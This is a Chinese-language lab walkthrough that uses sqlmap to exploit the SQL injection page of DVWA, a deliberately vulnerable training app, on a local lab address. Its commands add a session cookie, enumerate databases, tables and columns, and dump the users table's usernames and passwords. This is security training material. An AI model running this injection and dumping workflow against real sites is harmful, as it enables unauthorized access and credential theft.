①进入sqlmap目录,使用-u命令访问地址:
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
发现跳转到302了,被重定向了,所以这样不行…
又回到浏览器页面看了一下请求,发现里面有cookie,所以我们要把相应的cookie加上。
②使用--cookie命令加上相应的low级别的cookie,再跑一次。因为怕它一直询问,所以为了方便起见,加了--batch命令,让它可以自动回答询问:
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch
跑成功了。
③接下来要跑一下数据库,使用--dbs命令:
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch --dbs
可以看到有8个数据库。
④接下来我们可以用-D命令指定数据库,用--tables命令查看其中所有表
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa --tables
嗯,有两个表,显而易见,用户信息肯定在users表里面。
⑤用-T命令指定表,用
--columns命令查看表的列:
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa -T users --columns
胜利的曙光就在前方了。我们可以看到表中有字段user和password,也就是用户名和密码了。
⑥最后我们可以用-C命令指定需要的列,用--dump命令将其中的数据脱出来:
python sqlmap.py -u "http://192.168.133.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5tnrugc0q5gfbjejbmcr97rgj5" --batch -D dvwa -T users -C user,password --dump
OK,可以看到用户名和密码了,而且密码还被译成了明文。